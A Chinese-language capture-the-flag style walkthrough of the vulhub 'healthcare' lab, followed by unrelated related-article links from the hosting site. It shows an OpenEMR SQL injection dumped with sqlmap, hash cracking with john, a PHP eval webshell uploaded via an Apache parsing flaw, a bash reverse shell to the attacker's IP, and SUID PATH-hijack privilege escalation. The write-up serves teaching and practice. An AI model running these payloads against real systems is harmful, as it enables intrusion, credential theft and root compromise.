vulhub打靶记录——healthcare

文章目录

  • 主机发现
  • 端口扫描
  • FTP—21
    • search ProPFTd EXP
    • FTP 匿名用户登录
  • web服务—80
    • 目录扫描
    • search openemr exp
    • 登录openEMR 后台
  • 提权
  • 总结

主机发现

使用nmap扫描局域网内存活的主机,命令如下:

netdiscover -i eth0 -r 192.168.151.0/24

在这里插入图片描述

  • 192.168.151.1:主机IP;
  • 192.168.151.2:DHCP服务器IP;
  • 192.168.151.3:靶机IP;
  • 192.168.151.4:Kali IP。

端口扫描

使用nmap对靶机进行端口扫描,命令如下:

nmap -p- -sV -A 192.168.151.3 

在这里插入图片描述
可见这台靶机,开放了端口:21(ftp,文件传输协议))、80(http,web服务)。

FTP—21

search ProPFTd EXP

searchsploit proPTFd # 搜索exp

尝试了1.3.3c和1.3.5的EXP,均失败。

在这里插入图片描述

FTP 匿名用户登录

尝试匿名用户登录ftp服务器:

ftp 192.168.151.3# 用户名为anonymous 密码为空

在这里插入图片描述
发现登录失败,该FTP服务器不允许匿名登录。

web服务—80

目录扫描

使用dirsearch进行目录扫描。命令如下:

dirsearch -u http://192.168.151.3 -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

访问192.168.151.3/openemr,发现了一个后台登录程序,版本号为openEMR v4.1.0

在这里插入图片描述

search openemr exp

searchsploit openemr  # 搜索exp

在这里插入图片描述
发现该版本的openEMR存在sql注入。

searchsploit -m 49742.py # 将漏洞数据库中的exp复制到当前目录下,避免改数据库中的数据。
vim 49742.py # 更改url路径
python 49742.py # 执行

在这里插入图片描述
在这里插入图片描述
最终可以拿到后台登录用户名与密码,但是密码是经过MD5加密后的结果。同时存在sql注入漏洞的url为:http://192.168.151.3/openemr/interface/login/validateUser.php?u=1。基于改url,也可以直接用sqlmap,命令如下:

sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' # 判断是否存在sql注入
sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' --dbs # 查询当前用户下的所有数据库,存在information_schema、openemr、test三个数据库
sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' -D openemr --tables # 获取数据库中的表名 ,users表
sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' -D openemr -T users --columns # 获取表中的字段名,username,password表
sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' -D openemr -T users -C username,password --dump # 获取字段内容

在这里插入图片描述
破解数据库密码
脚本拿到数据库密码后如何破解呢?用john the ripper

touch pw.txt
echo '' >> pw.txt # >>:代表换行追加
hashid '' # hashid判断密文可能使用的加密算法
john pw.txt

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

要看具体哪个密文对应哪个密码,看.john/john.pot

获取用户名、密码:

admin ackbar
medical medical

登录openEMR 后台

拿到后台用户名和密码,直接登录
在这里插入图片描述
administered->file处发现一个文件上传点,经过测试不允许上传.php文件。
在这里插入图片描述
查看web服务的中间件版本,是apache 2.2.17,这个版本是存在多后缀名解析漏洞的。就是说我们可以上传shell.php.来绕过文件后缀检测。上传的文件最终保存路径就在http://192.168.151.3/openemr/sites/default/images下。

在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。

<?php @eval($_GET['cmd']);?> # 上传文件内容
http://192.168.151.3/openemr/sites/default/images/shell.php.?cmd=system('bash -i >& /dev/tcp/192.168.151.4/443 0>&1'); # 数据包cookie需要是admin用户的,后门需要经过url编码。

最终的话可以拿到reverse shell。
在这里插入图片描述

提权

python -c 'import pty;pty.spawn("/bin/bash")' # 建立一个半交互式shell
find / -perm -u=s -type f 2>/dev/null # 搜索具备SUID属性的程序

这里发现/usr/bin/healthcheck这个命令肯定不是系统自带的,且具备SUID属性。
在这里插入图片描述
cat /usr/bin/healthcheck,出现乱码,说明是二进制程序。
在这里插入图片描述

也可以用file /usr/bin/healthcheck,查看文件属性。
在这里插入图片描述

strings /usr/bin/healthcheck查看文件中可打印的字符,从结果可以看出,该程序会执行sleep2; ifconfig; fdisk -l; du -h这些shell命令。思路:如果ifconfig命令被重定向为其他程序(比如包含/bin/bash),就可以拿到root用户的shell。
在这里插入图片描述
/tmp目录,任何用户都写读写权限。

touch ifconfig # 常见ifconfig文件
chmod +x ifconfig # 给予可执行权限
echo '/bin/bash' > ifconfig # 写入内容
export PATH=/tmp:$PATH # 修改系统环境变量,后面的$PATH是系统默认的路径
/usr/bin/healthcheck # 不用bash /usr/bin/healthcheck

$PATH变量的值是一系列用冒号分隔的目录路径。例如:

$PATH = /usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin 

在这个例子中,系统将按照指定的顺序搜索/usr/local/bin、/usr/bin、/bin、/usr/local/sbin、/usr/sbin和/sbin这几个目录。

在这里插入图片描述
在这里插入图片描述

总结

  1. 端口扫描发现开放的端口;
  2. 目录扫描发现web网站的上下文,但是需要合适的字典;
  3. 发现openemr有漏洞,找到exp直接获取数据库密码;
  4. 通过获得的密码,登录网站后台,然后找到文件上传点,结合apache解析漏洞获取reverse shell;
  5. 寻找SUID程序/usr/bin/healthcheckstrings打印可打印字符,发现执行ifconfig,更改系统环境变量,执行ifconfig时优先执行伪造的ifconfig。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/789070.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Android的图片加载框架

Android的图片加载框架 为什么要使用图片加载框架&#xff1f;图片加载框架1. Universal Image Loader [https://github.com/nostra13/Android-Universal-Image-Loader](https://github.com/nostra13/Android-Universal-Image-Loader)2. Glide [https://muyangmin.github.io/gl…

MySQL的多层SP中Cursor的m_max_cursor_index相关BUG分析

源码分析丨MySQL的多层SP中Cursor相关BUG 一、问题发现 在一次开发中在sp中使用多层cursor的时候想知道每层的m_max_cursor_index值分别是多少&#xff0c;以用来做后续开发。于是做了以下的试验&#xff0c;但是发现第一个level2那层的m_max_cursor_index的值有点问题。 注&…

基于SpringBoot和Vue的房产销售系统的设计与实现

今天要和大家聊的是一款基于SpringBoot和Vue的房产销售系统的设计与实现 &#xff01;&#xff01;&#xff01; 有需要的小伙伴可以通过文章末尾名片咨询我哦&#xff01;&#xff01;&#xff01; &#x1f495;&#x1f495;作者&#xff1a;李同学 &#x1f495;&#x1f…

【Spring实战项目】SpringBoot3整合WebSocket+拦截器实现登录验证!从原理到实战

&#x1f389;&#x1f389;欢迎光临&#xff0c;终于等到你啦&#x1f389;&#x1f389; &#x1f3c5;我是苏泽&#xff0c;一位对技术充满热情的探索者和分享者。&#x1f680;&#x1f680; &#x1f31f;持续更新的专栏《Spring 狂野之旅&#xff1a;从入门到入魔》 &a…

MySQL-linux安装-万能RPM法

一、MySQL的Linux版安装 1、 CentOS7下检查MySQL依赖 1. 检查/tmp临时目录权限&#xff08;必不可少&#xff09; 由于mysql安装过程中&#xff0c;会通过mysql用户在/tmp目录下新建tmp_db文件&#xff0c;所以请给/tmp较大的权限。执行 &#xff1a; chmod -R 777 /tmp2. …

Aurora8b10b(2)上板验证

文章目录 前言一、AXI_Stream数据产生模块二、上板效果总结 前言 上一篇内容我们已经详细介绍了基于aurora8b10b IP核的设计&#xff0c;本文将基于此进一步完善并且进行上板验证。 设计思路及代码思路参考FPGA奇哥系列网课 一、AXI_Stream数据产生模块 AXIS协议是非常简单的…

Boost之Log: (3)、简单封装

设计目标: 1、每个Logging source对应一个目录&#xff0c;可以设置日志文件数&#xff0c;日志大小&#xff0c;目录名&#xff0c;文件名等 2、所有logging source日志目录都在一个根目录下。 3、可以动态创建和删除logging source 4、打印出日期时间和日志严重等级 示例代码…

前端试题2#记录

1、介绍以下CSS的盒子模型 盒子模型分为两种&#xff1a; &#xff08;1&#xff09;第一种是W3c标准的盒子模型&#xff08;标准盒模型&#xff09; width和height&#xff1a;内容的宽度、高度&#xff08;不是盒子的宽度、高度&#xff09;。padding&#xff1a;内边距。…

HarmonyOS入门-ArkTS学习(一)

1. 什么是ArkTS语言 学习之前&#xff0c;我们先初步了解下什么是ArkTS 官方指南这样介绍&#xff1a; ArkTS是TS的超集&#xff0c;ArkTS定义了声明式UI描述、自定义组件和动态扩展UI元素的能力&#xff0c;再配合ArkUI开发框架中的系统组件及其相关的事件方法、属性方法等共…

OpenHarmony实战:轻量级系统之子系统移植概述

OpenHarmony系统功能按照“系统 > 子系统 > 部件”逐级展开&#xff0c;支持根据实际需求裁剪某些非必要的部件&#xff0c;本文以部分子系统、部件为例进行介绍。若想使用OpenHarmony系统的能力&#xff0c;需要对相应子系统进行适配。 OpenHarmony芯片适配常见子系统列…

留学生在美国大学利用AI工具到底算不算作弊呢?

自2022年以来&#xff0c;美国大学就开启了一场AI作弊与反作弊大战 战场小至测验&#xff0c;大至申请 这场战争并没有一方胜利&#xff0c;作弊者心思费尽 校方反作弊弄得教授们苦不堪言 那么作为中国留学生该如何避免这场战役呢&#xff1f; 毕竟还是学业要紧呢…… 故事…

让六西格玛培训有效的三个步骤,拿走不谢!

近年来&#xff0c;六西格玛作为一种先进的质量管理方法&#xff0c;被众多企业视为提升产品质量、优化流程、减少浪费的利器。然而&#xff0c;如何使六西格玛培训真正落地生根&#xff0c;发挥出其应有的效果&#xff0c;成为了许多企业关注的焦点。本文&#xff0c;天行健Si…

每日五道java面试题之消息中间件MQ篇(二)

目录&#xff1a; 第一题. RabbitMQ的工作模式第二题. 如何保证RabbitMQ消息的顺序性&#xff1f;第三题. 消息如何分发&#xff1f;第四题. 消息怎么路由&#xff1f;第五题. 如何保证消息不被重复消费&#xff1f;或者说&#xff0c;如何保证消息消费时的幂等性&#xff1f; …

Android adb ime 调试输入法

目录 前言列出所有输入法仅列出输入法 id列出所有输入法的所有信息 启用/禁用 输入法启用输入法禁用输入法 切换输入法还原输入法 前言 安装多个输入法后&#xff0c;可以在设置里进行切换。 既然是开发&#xff0c;能用命令就就命令~ ime 帮助说明&#xff1a; ime <c…

目标检测、识别和语义分割的标注工具安装

计算机视觉 图像分类&#xff08;目标检测&#xff09;&#xff1a;一张图像中是否含某种物体物体定位&#xff08;目标检测与目标识别&#xff09;&#xff1a;确定目标位置和所属类别。语义分割&#xff08;目标分割和目标分类&#xff09;&#xff1a;对图像进行像素级分类…

推荐算法策略需求-rank model优化

1.pred_oobe (base) [rusxx]$ pwd /home/disk2/data/xx/icode/baidu/oxygen/rus-pipeline/pipeline-migrate/UserBaseActiveStatPipeline/his_session (base) [rusxx]$ sh test.sh 2. user_skill_history_dict_expt2包含userid [workxx]$ vim /home/work/xx/du-rus/du_rus_o…

Python 之 Flask 框架学习

毕业那会使用过这个轻量级的框架&#xff0c;最近再来回看一下&#xff0c;依赖相关的就不多说了&#xff0c;直接从例子开始。下面示例中的 html 模板&#xff0c;千万记得要放到 templates 目录下。 快速启动 hello world from flask import Flask, jsonify, url_forapp F…

【edge浏览器无法登录某些网站,以及迅雷插件无法生效的解决办法】

edge浏览器无法登录某些网站&#xff0c;以及迅雷插件无法生效的解决办法 edge浏览器无法登录某些网站&#xff0c;但chrome浏览器可以登录浏览器插件无法使用&#xff0c;比如迅雷如果重装插件重装浏览器重装迅雷后仍然出现问题 edge浏览器无法登录某些网站&#xff0c;但chro…

基于FPGA的SPI_FLASH程序设计

SPI_FLASH简介 spi_flash是一种通用存储器&#xff0c;也称为SPI NOR Flash或SPI Flash。它使用SPI&#xff08;Serial Peripheral Interface&#xff09;接口进行通信&#xff0c;可以通过串行方式读写数据。spi_flash的特点是工作电压低&#xff0c;体积小&#xff0c;读写速…

【单片机家电产品学习记录--红外线】

单片机家电产品学习记录–红外线 红外手势驱动电路&#xff0c;&#xff08;手势控制的LED灯&#xff09; 原理 通过红外线对管&#xff0c;IC搭建的电路&#xff0c;实现灯模式转换。 手势控制灯模式转换&#xff0c;详细说明 转载 1《三色调光LED台灯电路》&#xff0c…